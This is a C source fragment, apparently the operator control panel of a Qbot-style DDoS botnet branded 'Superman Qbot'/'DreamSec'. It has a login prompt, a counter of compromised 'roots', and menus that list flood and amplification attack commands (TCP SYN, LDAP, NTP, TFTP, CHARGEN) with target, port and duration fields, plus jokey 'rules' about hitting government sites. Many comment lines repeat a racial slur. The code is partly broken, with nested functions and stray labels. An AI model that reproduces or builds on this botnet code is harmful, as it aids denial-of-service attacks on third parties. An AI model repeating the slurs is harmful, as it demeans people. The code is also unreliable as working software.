nickstring = ("%s", buf);
find_line = Find_Login(nickstring);
if(strcmp(nickstring, accounts[find_line].username) == 0){
char password [5000];
if(send(datafd, clearscreen, strlen(clearscreen), MSG_NOSIGNAL) == -1) goto end;
sprintf(password, "\e[1;33mPassword [DONT FUCKING SHARE]:\e[0m\e[30m: ", accounts[find_line].username);
if(send(datafd, password, strlen(password), MSG_NOSIGNAL) == -1) goto end;
if(fdgets(buf, sizeof buf, datafd) < 1) goto end;
trim(buf);
if(strcmp(buf, accounts[find_line].password) != 0) goto failed;
memset(buf, 0, 2048);
goto Banner;
}
void *TitleWriter(void *sock) {
int datafd = (int)sock;
char string[2048];
while(1) {
memset(string, 0, 2048);
sprintf(string, "%c]0; %d Rooted Servers || Superman Qbot On Top || Watch Out For The Kryptonite %c", '\033', BotsConnected(), '\007');
if(send(datafd, string, strlen(string), MSG_NOSIGNAL) == -1) return;
sleep(2);
}
}
failed:
if(send(datafd, "\033[1A", 5, MSG_NOSIGNAL) == -1) goto end;
goto end;
Banner:
pthread_create(&title, NULL, &TitleWriter, sock);
char ascii_banner_line0 [5000];
char ascii_banner_line1 [5000];
char ascii_banner_line2 [5000];
char ascii_banner_line3 [5000];
char ascii_banner_line4 [5000];
char ascii_banner_line5 [5000];
char ascii_banner_line6 [5000];
char ascii_banner_line7 [5000];
char ascii_banner_line8 [5000];//\e[1;31m {Red}
char ascii_banner_line9 [5000];//\e[1;33m {yellow}
sprintf(ascii_banner_line0, "\033[2J\033[1;1H");
sprintf(ascii_banner_line1, "\e[1;31m βββ ββ ββββββ βββ βββββββββ\r\n");
sprintf(ascii_banner_line2, "\e[1;31mββββ βββββ βββββββ β βββ ββ\r\n");
sprintf(ascii_banner_line3, "\e[1;31mββββββββββββ βββ βββ β ββββ ββ\r\n");
sprintf(ascii_banner_line4, "\e[1;31mβββ βββ βββ βββββββββββ ββββ β\r\n");
sprintf(ascii_banner_line5, "\e[1;31mβββββββββββββββββ ββββ ββββ β\r\n");
sprintf(ascii_banner_line6, "\e[1;33m β βββββββ ββ βββ ββββ β ββ\r\n");
sprintf(ascii_banner_line7, "\e[1;33m β βββ β β β β β ββ β β\r\n");
sprintf(ascii_banner_line8, "\e[1;33m β ββ β β β β β\r\n");
sprintf(ascii_banner_line9, "\e[1;33m β β β β β β β\r\n");
if(send(datafd, ascii_banner_line0, strlen(ascii_banner_line0), MSG_NOSIGNAL) == -1) goto end;
if(send(datafd, ascii_banner_line1, strlen(ascii_banner_line1), MSG_NOSIGNAL) == -1) goto end;
if(send(datafd, ascii_banner_line2, strlen(ascii_banner_line2), MSG_NOSIGNAL) == -1) goto end;
if(send(datafd, ascii_banner_line3, strlen(ascii_banner_line3), MSG_NOSIGNAL) == -1) goto end;
if(send(datafd, ascii_banner_line4, strlen(ascii_banner_line4), MSG_NOSIGNAL) == -1) goto end;
if(send(datafd, ascii_banner_line5, strlen(ascii_banner_line5), MSG_NOSIGNAL) == -1) goto end;
if(send(datafd, ascii_banner_line6, strlen(ascii_banner_line6), MSG_NOSIGNAL) == -1) goto end;
if(send(datafd, ascii_banner_line7, strlen(ascii_banner_line7), MSG_NOSIGNAL) == -1) goto end;
if(send(datafd, ascii_banner_line8, strlen(ascii_banner_line8), MSG_NOSIGNAL) == -1) goto end;
if(send(datafd, ascii_banner_line9, strlen(ascii_banner_line9), MSG_NOSIGNAL) == -1) goto end;
while(1) {
char input [5000];
sprintf(input, "\e[1;31meDreamSec~#");
if(send(datafd, input, strlen(input), MSG_NOSIGNAL) == -1) goto end;
break;
}
pthread_create(&title, NULL, &TitleWriter, sock);
managements[datafd].connected = 1;
while(fdgets(buf, sizeof buf, datafd) > 0) {
if(strstr(buf, "ROOTS") || strstr(buf, "BOTS") || strstr(buf, "roots") || strstr(buf, "Roots") || strstr(buf, "Roats")) {
char botcount [2048];
memset(botcount, 0, 2048);
char statuscount [2048];
char ops [2048];
memset(statuscount, 0, 2048);
sprintf(botcount, "\e[90mRoots\e[1;31m:\e[90m [\e[0m%d\e[90m]\r\n", BotsConnected(), OperatorsConnected);
sprintf(ops, "\e[90mCustomers\e[1;31m:\e[90m [\e[0m%d\e[90m]\r\n", OperatorsConnected, scannerreport);
sprintf(statuscount, "\e[90mDuplicated Roots\e[1;31m:\e[90m [\e[0m%d\e[90m]\r\n", TELFound, scannerreport);
if(send(datafd, botcount, strlen(botcount), MSG_NOSIGNAL) == -1) return;
if(send(datafd, ops, strlen(ops), MSG_NOSIGNAL) == -1) return;
if(send(datafd, statuscount, strlen(statuscount), MSG_NOSIGNAL) == -1) return;
char input [5000];
sprintf(input, "\e[1;31mSuperSec~#");
if(send(datafd, input, strlen(input), MSG_NOSIGNAL) == -1) goto end;
continue;
}
if(strstr(buf, "port") || strstr(buf, "Port") || strstr(buf, "PORT") || strstr(buf, "ports") || strstr(buf, "Ports") || strstr(buf, "PORTS")) {
pthread_create(&title, NULL, &TitleWriter, sock);
char s2 [800];
char s3 [800];
char s4 [800];
char s5 [800];
char s6 [800];
char s7 [800];
char s8 [800];
char s9 [800];
char s10 [800];
char s11 [800];
char s12 [800];
char s13 [800];
char s14 [800];
char s15 [800];
char s16 [800];
sprintf(s2, "\e[1;35m βββββββββββββββββββββββββββ\r\n");
sprintf(s3, "\e[1;35mββββ \e[37m[+] Ports [+] \e[1;35mββββ\r\n");
sprintf(s4, "\e[1;35mβ\e[37m \e[37m21 \e[30m= \e[1;33m(\e[1;36mSFTP\e[1;33m) \e[1;35mβ\r\n");
sprintf(s5, "\e[1;35mβ\e[37m \e[37m22 \e[30m= \e[1;33m(\e[1;36mSSH\e[1;33m) \e[1;35mβ\r\n");
sprintf(s6, "\e[1;35mβ\e[37m \e[37m23 \e[30m= \e[1;33m(\e[1;36mTELNET\e[1;33m) \e[1;35mβ\r\n");
sprintf(s7, "\e[1;35mβ\e[37m \e[37m25 \e[30m= \e[1;33m(\e[1;36mSMTP\e[1;33m) \e[1;35mβ\r\n");
sprintf(s8, "\e[1;35mβ\e[37m \e[37m53 \e[30m= \e[1;33m(\e[1;36mDNS\e[1;33m) \e[1;35mβ\r\n");
sprintf(s9, "\e[1;35mβ\e[37m \e[37m69 \e[30m= \e[1;33m(\e[1;36mTFTP\e[1;33m) \e[1;35mβ\r\n");
sprintf(s10, "\e[1;35mβ\e[37m \e[37m80 \e[30m= \e[1;33m(\e[1;36mHTTP\e[1;33m) \e[1;35mβ\r\n");
sprintf(s11, "\e[1;35mβ\e[37m \e[37m443 \e[30m= \e[1;33m(\e[1;36mHTTPS\e[1;33m) \e[1;35mβ\r\n");
sprintf(s12, "\e[1;35mβ\e[37m \e[37m3074 \e[30m= \e[1;33m(\e[1;36mXBOX\e[1;33m) \e[1;35mβ\r\n");
sprintf(s13, "\e[1;35mβ\e[37m \e[37m5060 \e[30m= \e[1;33m(\e[1;36mRTP\e[1;33m) \e[1;35mβ\r\n");
sprintf(s14, "\e[1;35mβ\e[37m \e[37m9307 \e[30m= \e[1;33m(\e[1;36mPLAYSTATION\e[1;33m) \e[1;35mβ\r\n");
sprintf(s15, "\e[1;35mββββ ββββ\r\n");
sprintf(s16, "\e[1;35m βββββββββββββββββββββββββββ \r\n");
if(send(datafd, s2, strlen(s2), MSG_NOSIGNAL) == -1) goto end;
if(send(datafd, s3, strlen(s3), MSG_NOSIGNAL) == -1) goto end;
if(send(datafd, s4, strlen(s4), MSG_NOSIGNAL) == -1) goto end;
if(send(datafd, s5, strlen(s5), MSG_NOSIGNAL) == -1) goto end;
if(send(datafd, s6, strlen(s6), MSG_NOSIGNAL) == -1) goto end;
if(send(datafd, s7, strlen(s7), MSG_NOSIGNAL) == -1) goto end;
if(send(datafd, s8, strlen(s8), MSG_NOSIGNAL) == -1) goto end;
if(send(datafd, s9, strlen(s9), MSG_NOSIGNAL) == -1) goto end;
if(send(datafd, s10, strlen(s10), MSG_NOSIGNAL) == -1) goto end;
if(send(datafd, s11, strlen(s11), MSG_NOSIGNAL) == -1) goto end;
if(send(datafd, s12, strlen(s12), MSG_NOSIGNAL) == -1) goto end;
if(send(datafd, s13, strlen(s13), MSG_NOSIGNAL) == -1) goto end;
if(send(datafd, s14, strlen(s14), MSG_NOSIGNAL) == -1) goto end;
if(send(datafd, s15, strlen(s15), MSG_NOSIGNAL) == -1) goto end;
if(send(datafd, s16, strlen(s16), MSG_NOSIGNAL) == -1) goto end;
pthread_create(&title, NULL, &TitleWriter, sock);
char input [5000];
sprintf(input, "\e[1;31mSuperSec~#");
if(send(datafd, input, strlen(input), MSG_NOSIGNAL) == -1) goto end;
continue;
}
if(strstr(buf, "help") || strstr(buf, "HELP") || strstr(buf, "Help") || strstr(buf, "?") || strstr(buf, "command") || strstr(buf, "COMMAND")) {
pthread_create(&title, NULL, &TitleWriter, sock);
char hp1 [800];
char hp2 [800];
char hp3 [800];
char hp4 [800]; // \e[1;33m [YELLOW]
char hp5 [800]; // \e[1;32m [GREEN]
char hp6 [800]; // \e[37m [WHITE]
char hp7 [800]; // \e[1;33m [RED]
char hp8 [800];
char hp9 [800];
char hp10 [800];
char hp11 [800];
char hp12 [800];
char hp13 [800];
char hp14 [800];
char hp15 [800];
char hp16 [800];
char hp17 [800];
char hp18 [800];
sprintf(hp1, "\e[1;31m ββββββββββββββββββββ\r\n");
sprintf(hp2, "\e[1;31m β \e[37mCoded \e[1;35mβ \r\n");
sprintf(hp3, "\e[1;31m β \e[37mBy \e[1;35mβ\r\n");
sprintf(hp4, "\e[1;31m β \e[37mCodeWritings \e[1;35mβ\r\n");
sprintf(hp5, "\e[1;31m βββββββββββ¦βββββββββ\r\n");
sprintf(hp6, "\e[1;31m β\r\n");
sprintf(hp7, "\e[1;31m βββββββββββββββββββββββ β βββββββββββββββββββ\r\n");
sprintf(hp8, "\e[1;31m β \e[1;33mDreamSec \e[1;35mβ β β\e[37mDream EST. 2020 \e[1;35mβ\r\n");
sprintf(hp9, "\e[1;31m β\e[37mMade By: CodeWritings\e[1;35mβ βββ¦βββ©ββββ£\e[37mDESC: PRIVATE \e[1;35mβ\r\n");
sprintf(hp10,"\e[1;35m βββββββββββββββββββββββ β β\e[37mAPI: \e[1;32mConnected \e[1;35mβ\r\n");
sprintf(hp11,"\e[1;35m β βββββββββββββββββββ\r\n");
sprintf(hp12,"\e[1;35m βββββββββββββββββββββββ©ββββββββββββββββββββββ\r\n");
sprintf(hp13,"\e[1;35m β\e[1;33mMETHODS - Shows Normal DDoS Methods \e[1;35mβ\r\n");
sprintf(hp14,"\e[1;35m β\e[1;31m[PLEASE READ THE RULES OR ELSE #BANNED] \e[1;35mβ\r\n");
sprintf(hp15,"\e[1;35m β\e[1;33mPORTS - Shows A List Of Ports \e[1;35mβ\r\n");
sprintf(hp16,"\e[1;35m β\e[1;33mRULES - Shows A List Of Rules \e[1;35mβ\r\n");
sprintf(hp17,"\e[1;35m β\e[1;33mROOTS - Shows Root Count \e[1;35mβ\r\n");
sprintf(hp18,"\e[1;35m βββββββββββββββββββββββββββββββββββββββββββββ\r\n");
if(send(datafd, hp1, strlen(hp1), MSG_NOSIGNAL) == -1) goto end;
if(send(datafd, hp2, strlen(hp2), MSG_NOSIGNAL) == -1) goto end;
if(send(datafd, hp3, strlen(hp3), MSG_NOSIGNAL) == -1) goto end;
if(send(datafd, hp4, strlen(hp4), MSG_NOSIGNAL) == -1) goto end;
if(send(datafd, hp5, strlen(hp5), MSG_NOSIGNAL) == -1) goto end;
if(send(datafd, hp6, strlen(hp6), MSG_NOSIGNAL) == -1) goto end;
if(send(datafd, hp7, strlen(hp7), MSG_NOSIGNAL) == -1) goto end;
if(send(datafd, hp8, strlen(hp8), MSG_NOSIGNAL) == -1) goto end;
if(send(datafd, hp9, strlen(hp9), MSG_NOSIGNAL) == -1) goto end;
if(send(datafd, hp10, strlen(hp10), MSG_NOSIGNAL) == -1) goto end;
if(send(datafd, hp11, strlen(hp11), MSG_NOSIGNAL) == -1) goto end;
if(send(datafd, hp12, strlen(hp12), MSG_NOSIGNAL) == -1) goto end;
if(send(datafd, hp13, strlen(hp13), MSG_NOSIGNAL) == -1) goto end;
if(send(datafd, hp14, strlen(hp14), MSG_NOSIGNAL) == -1) goto end;
if(send(datafd, hp15, strlen(hp15), MSG_NOSIGNAL) == -1) goto end;
if(send(datafd, hp16, strlen(hp16), MSG_NOSIGNAL) == -1) goto end;
if(send(datafd, hp17, strlen(hp17), MSG_NOSIGNAL) == -1) goto end;
if(send(datafd, hp18, strlen(hp18), MSG_NOSIGNAL) == -1) goto end;
pthread_create(&title, NULL, &TitleWriter, sock);
char input [5000];
sprintf(input, "\e[1;31mSuperSec~#");
if(send(datafd, input, strlen(input), MSG_NOSIGNAL) == -1) goto end;
continue;
}
if(strstr(buf, "rule") || strstr(buf, "RULE") || strstr(buf, "RULE") || strstr(buf, "rules") || strstr(buf, "RULES") || strstr(buf, "Rules")) {
pthread_create(&title, NULL, &TitleWriter, sock);
char p1 [800];
char p2 [800];
char p3 [800];
char p4 [800];
char p5 [800];
char p6 [800];
char p7 [800];
char p8 [800];
char p9 [800];
sprintf(p1, "\e[\e[1;35m βββββββββββββββββββββββ¦ββββββββββββββββ\r\n");
sprintf(p2, "\e[\e[1;35m β\e[37mCoded By: \e[1;32mCodeWritings\e[1;33mβ\e[1;33mRespect The Net\e[1;35mβ\r\n");
sprintf(p3, "\e[\e[1;35m β ββββββββββββββββββββββ©ββββββββββββββββ£\r\n");
sprintf(p4, "\e[\e[1;35m β\e[37m1. Don't Share The Botnet IP \e[1;35mβ\r\n");
sprintf(p5, "\e[\e[1;35m β\e[37m2. Don't Share Logins \e[1;35mβ\r\n");
sprintf(p6, "\e[\e[1;35m β\e[37m3. Don't Spam Attacks \e[1;35mβ\r\n");
sprintf(p7, "\e[\e[1;35m β\e[37m4. Don't Hit Government Sites... JK \e[1;35mβ\r\n");
sprintf(p8, "\e[\e[1;35m β\e[37m5. Don't Go Overtime \e[1;35mβ\r\n");
sprintf(p9, "\e[\e[1;35m βββββββββββββββββββββββββββββββββββββββ\r\n");
if(send(datafd, p1, strlen(p1), MSG_NOSIGNAL) == -1) goto end;
if(send(datafd, p2, strlen(p2), MSG_NOSIGNAL) == -1) goto end;
if(send(datafd, p3, strlen(p3), MSG_NOSIGNAL) == -1) goto end;
if(send(datafd, p4, strlen(p4), MSG_NOSIGNAL) == -1) goto end;
if(send(datafd, p5, strlen(p5), MSG_NOSIGNAL) == -1) goto end;
if(send(datafd, p6, strlen(p6), MSG_NOSIGNAL) == -1) goto end;
if(send(datafd, p7, strlen(p7), MSG_NOSIGNAL) == -1) goto end;
if(send(datafd, p8, strlen(p8), MSG_NOSIGNAL) == -1) goto end;
if(send(datafd, p9, strlen(p9), MSG_NOSIGNAL) == -1) goto end;
pthread_create(&title, NULL, &TitleWriter, sock);
char input [5000];
sprintf(input, "\e[1;31mSuperSec~#");
if(send(datafd, input, strlen(input), MSG_NOSIGNAL) == -1) goto end;
continue;
}
if(strstr(buf, "TICKET") || strstr(buf, "Ticket") || strstr(buf, "ticket")) {
char r2 [800];
sprintf(r2, "\e[0m !* OPEN (NAME) (QUESTION) \e[0m\r\n");
if(send(datafd, r2, strlen(r2), MSG_NOSIGNAL) == -1) goto end;
pthread_create(&title, NULL, &TitleWriter, sock);
char input [5000];
sprintf(input, "\e[1;31mSuperSec~#");;
if(send(datafd, input, strlen(input), MSG_NOSIGNAL) == -1) goto end;
continue;
}
if(strstr(buf, "!* OPEN") || strstr(buf, "!* Open") || strstr(buf, "!* open")) {
FILE *TicketOpen;
TicketOpen = fopen("Ticket_Open.txt", "a");
time_t now;
struct tm *gmt;
char formatted_gmt [50];
char lcltime[50];
now = time(NULL);
gmt = gmtime(&now);
strftime ( formatted_gmt, sizeof(formatted_gmt), "%I:%M %p", gmt );
fprintf(TicketOpen, "Support Ticket Open - [%s] %s\n", formatted_gmt, buf);
fclose(TicketOpen);
char ry1 [800];
sprintf(ry1, "\e[0m (Ticket Has Been Open)\r\n");
if(send(datafd, ry1, strlen(ry1), MSG_NOSIGNAL) == -1) goto end;
pthread_create(&title, NULL, &TitleWriter, sock);
char input [5000];
sprintf(input, "\e[1;31mSuperSec~#");
if(send(datafd, input, strlen(input), MSG_NOSIGNAL) == -1) goto end;
continue;
}
if(strstr(buf, "methods") || strstr(buf, "METHODS") || strstr(buf, "Methods")) {
pthread_create(&title, NULL, &TitleWriter, sock);
char ls1 [800];//////////////////NIGGGGGGGGGGGGGGGGGGGGGAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAA//////////////////NIGGGGGGGGGGGGGGGGGGGGGAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAA
char ls2 [800];//////////////////NIGGGGGGGGGGGGGGGGGGGGGAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAA//////////////////NIGGGGGGGGGGGGGGGGGGGGGAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAA
char ls3 [800];//////////////////NIGGGGGGGGGGGGGGGGGGGGGAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAA//////////////////NIGGGGGGGGGGGGGGGGGGGGGAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAA
char ls4 [800];//////////////////NIGGGGGGGGGGGGGGGGGGGGGAAAAAAA//////////////////NIGGGGGGGGGGGGGGGGGGGGGAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAA//////////////////NIGGGGGGGGGGGGGGGGGGGGGAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAA
char ls5 [800];//////////////////NIGGGGGGGGGGGGGGGGGGGGGAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAA//////////////////NIGGGGGGGGGGGGGGGGGGGGGAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAA
char ls6 [800];//////////////////NIGGGGGGGGGGGGGGGGGGGGGAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAA//////////////////NIGGGGGGGGGGGGGGGGGGGGGAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA//////////////////NIGGGGGGGGGGGGGGGGGGGGGAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAA
char ls7 [800];//////////////////NIGGGGGGGGGGGGGGGGGGGGGAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAA//////////////////NIGGGGGGGGGGGGGGGGGGGGGAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAA
char ls8 [800];//////////////////NIGGGGGGGGGGGGGGGGGGGGGAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAA/////////////////////////////////////////////////NIGGGGGGGGGGGGGGGGGGGGGAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAA//NIGGGGGGGGGGGGGGGGGGGGGAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAA//NIGGGGGGGGGGGGGGGGGGGGGAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAA//////////////////NIGGGGGGGGGGGGGGGGGGGGGAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAA//////////////////NIGGGGGGGGGGGGGGGGGGGGGAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAA//////////////////NIGGGGGGGGGGGGGGGGGGGGGAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAA
sprintf(ls1, "\e[1;35m ?? [ HOME ] ?? \e[1;32m- \e[1;33mShows Home Connection Methods\r\n");
sprintf(ls2, "\e[1;35m ?? [ SERVER ] ?? \e[1;32m- \e[1;33mShows Server Methods\r\n");////////////////////////////NIGGGGGGGGGGGGGGGGGGGGGAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAA////////NIGGGGGGGGGGGGGGGGGGGGGAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAA
sprintf(ls3, "\e[1;35m ?? [ SPECIAL ] ?? \e[1;32m- \e[1;33mShows OVHS/NFOS/VPNS Methods\r\n");////////////////////////NIGGGGGGGGGGGGGGGGGGGGGAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAA////////////NIGGGGGGGGGGGGGGGGGGGGGAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAA
sprintf(ls4, "\e[1;35m ?? [ L7 ] ?? \e[1;32m- \e[1;33mShows All Website TCP Methods\r\n");//////////////////NIGGGGGGGGGGGGGGGGGGGGGAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAA
sprintf(ls5, "\e[1;32m ?? [ AMPS ] ?? \e[1;32m- \e[1;33mShows Amplification Methods\r\n");//////////////////////////NIGGGGGGGGGGGGGGGGGGGGGAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAA/////////////////NIGGGGGGGGGGGGGGGGGGGGGAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAA///////////NIGGGGGGGGGGGGGGGGGGGGGAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAA
sprintf(ls6, "\e[1;32m ?? [ API ] ?? \e[1;32m- \e[1;33mShows All API Methods\r\n");////////////////////////NIGGGGGGGGGGGGGGGGGGGGGAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAA////////////NIGGGGGGGGGGGGGGGGGGGGGAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAA
sprintf(ls7, "\e[1;35m ?? [ !* STOP ] ?? \e[1;32m- \e[1;33mDont Work Its In Beta\r\n");//////////////////NIGGGGGGGGGGGGGGGGGGGGGAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAA
sprintf(ls8, "\e[1;35mCoded \e[1;32mBy \e[1;33mCodeWritings#1337 ??\r\n");//////////////////NIGGGGGGGGGGGGGGGGGGGGGAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAA
//////////////////NIGGGGGGGGGGGGGGGGGGGGGAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAA//////////////////NIGGGGGGGGGGGGGGGGGGGGGAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAA
//////////////////NIGGGGGGGGGGGGGGGGGGGGGAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAA//////////////////NIGGGGGGGGGGGGGGGGGGGGGAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAA//////////////////NIGGGGGGGGGGGGGGGGGGGGGAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAA////////////////////////NIGGGGGGGGGGGGGGGGGGGGGAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAA////////////NIGGGGGGGGGGGGGGGGGGGGGAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAA
//////////////////NIGGGGGGGGGGGGGGGGGGGGGAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAA//////////////////NIGGGGGGGGGGGGGGGGGGGGGAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAA//////////////////NIGGGGGGGGGGGGGGGGGGGGGAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAA
//////////////////NIGGGGGGGGGGGGGGGGGGGGGAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAA//////////////////NIGGGGGGGGGGGGGGGGGGGGGAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAA//////////////////NIGGGGGGGGGGGGGGGGGGGGGAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAA
//////////////////NIGGGGGGGGGGGGGGGGGGGGGAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAA//////////////////NIGGGGGGGGGGGGGGGGGGGGGAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAA
if(send(datafd, ls1, strlen(ls1), MSG_NOSIGNAL) == -1) goto end;
if(send(datafd, ls2, strlen(ls2), MSG_NOSIGNAL) == -1) goto end;
if(send(datafd, ls3, strlen(ls3), MSG_NOSIGNAL) == -1) goto end;
if(send(datafd, ls4, strlen(ls4), MSG_NOSIGNAL) == -1) goto end;
if(send(datafd, ls5, strlen(ls5), MSG_NOSIGNAL) == -1) goto end;
if(send(datafd, ls6, strlen(ls6), MSG_NOSIGNAL) == -1) goto end;
if(send(datafd, ls7, strlen(ls7), MSG_NOSIGNAL) == -1) goto end;
if(send(datafd, ls8, strlen(ls8), MSG_NOSIGNAL) == -1) goto end;
pthread_create(&title, NULL, &TitleWriter, sock);
char input [5000];
sprintf(input, "\e[1;31mSuperSec~#");
if(send(datafd, input, strlen(input), MSG_NOSIGNAL) == -1) goto end;
continue;
}
if(strstr(buf, "OP") || strstr(buf, "op") || strstr(buf, "TCP")) {
pthread_create(&title, NULL, &TitleWriter, sock);
char ls1 [800];
char ls2 [800];
char ls3 [800];
char ls4 [800];
char ls5 [800];
char ls6 [800];
char ls7 [800];
char ls8 [800];
sprintf(ls1, "\e[1;33m _=_______________________________________\r\n");
sprintf(ls2, "\e[1;33m / ////!* TCP [IP] [443] [120] 32 syn 0 10|\r\n");
sprintf(ls3, "\e[1;33m _|_////____________________________________|\r\n");
sprintf(ls4, "\e[1;33m )/ o /) / )/ \r\n");
sprintf(ls5, "\e[1;35m (/ /)__\_)) \r\n");
sprintf(ls6, "\e[1;35m (/ /) \r\n");
sprintf(ls7, "\e[1;35m (/ /) \r\n");
sprintf(ls8, "\e[1;35m(/_ o _/) \r\n");
if(send(datafd, ls1, strlen(ls1), MSG_NOSIGNAL) == -1) goto end;
if(send(datafd, ls2, strlen(ls2), MSG_NOSIGNAL) == -1) goto end;
if(send(datafd, ls3, strlen(ls3), MSG_NOSIGNAL) == -1) goto end;
if(send(datafd, ls4, strlen(ls4), MSG_NOSIGNAL) == -1) goto end;
if(send(datafd, ls5, strlen(ls5), MSG_NOSIGNAL) == -1) goto end;
if(send(datafd, ls6, strlen(ls6), MSG_NOSIGNAL) == -1) goto end;
if(send(datafd, ls7, strlen(ls7), MSG_NOSIGNAL) == -1) goto end;
if(send(datafd, ls8, strlen(ls8), MSG_NOSIGNAL) == -1) goto end;
pthread_create(&title, NULL, &TitleWriter, sock);
char input [5000];
sprintf(input, "\e[1;31mSuperSec~#");
if(send(datafd, input, strlen(input), MSG_NOSIGNAL) == -1) goto end;
continue;
}
if(strstr(buf, "amps") || strstr(buf, "AMPS") || strstr(buf, "iphm")) {
pthread_create(&title, NULL, &TitleWriter, sock);
char ls2 [800];
char ls3 [800];
char ls4 [800];
char ls6 [800];
char ls7 [800];
char ls8 [800];
char ls9 [800];
char ls10 [800];
char ls13 [800];
sprintf(ls2, "\e[1;31m βββββββββββββββββββββββ \r\n");
sprintf(ls3, "\e[1;31m β \e[1;33mDreams \e[1;35mβ \r\n");
sprintf(ls4, "\e[1;31m β \e[1;33mA M P S Hub \e[1;35mβ \r\n");
sprintf(ls6, "\e[1;31m ββββββββββ©ββββββββββββββββββββββ©βββββββββ\r\n");
sprintf(ls7, "\e[1;31m β\e[37m!* LDAP [IP] [PORT] [TIME] 32 1 1024 \e[1;35mβ\r\n");
sprintf(ls8, "\e[1;35m β\e[37m!* NTP [IP] [PORT] [TIME] \e[1;35mβ\r\n");
sprintf(ls9, "\e[1;35m β\e[37m!* TFTP [IP] [PORT] [TIME] AMP \e[1;35mβ\r\n");
sprintf(ls10, "\e[1;35m β\e[37m!* CHARGEN [IP] [PORT] [TIME] \e[1;35mβ\r\n");
sprintf(ls13, "\e[1;35m βββββββββββββββββββββββββββββββββββββββββ\r\n");
if(send(datafd, ls2, strlen(ls2), MSG_NOSIGNAL) == -1) goto end;
if(send(datafd, ls3, strlen(ls3), MSG_NOSIGNAL) == -1) goto end;
if(send(datafd, ls4, strlen(ls4), MSG_NOSIGNAL) == -1) goto end;
if(send(datafd, ls6, strlen(ls6), MSG_NOSIGNAL) == -1) goto end;
if(send(datafd, ls7, strlen(ls7), MSG_NOSIGNAL) == -1) goto end;
if(send(datafd, ls8, strlen(ls8), MSG_NOSIGNAL) == -1) goto end;
if(send(datafd, ls9, strlen(ls9), MSG_NOSIGNAL) == -1) goto end;
if(send(datafd, ls10, strlen(ls10), MSG_NOSIGNAL) == -1) goto end;
if(send(datafd, ls13, strlen(ls13), MSG_NOSIGNAL) == -1) goto end;
pthread_create(&title, NULL, &TitleWriter, sock);
char input [5000];
sprintf(input, "\e[1;31mSuperSec~#");
if(send(datafd, input, strlen(input), MSG_NOSIGNAL) == -1) goto end;
continue;
}
if(strstr(buf, "API") || strstr(buf, "api") || strstr(buf, "Api")) {
pthread_create(&title, NULL, &TitleWriter, sock);
char ls1 [800];
char ls2 [800];
char ls3 [800];
char ls4 [800];
char ls5 [800];
char ls6 [800];
char ls7 [800];
char ls8 [800];
char ls9 [800];
sprintf(ls1, "\e[1;35m βββββββββββββββββββββββ \r\n");
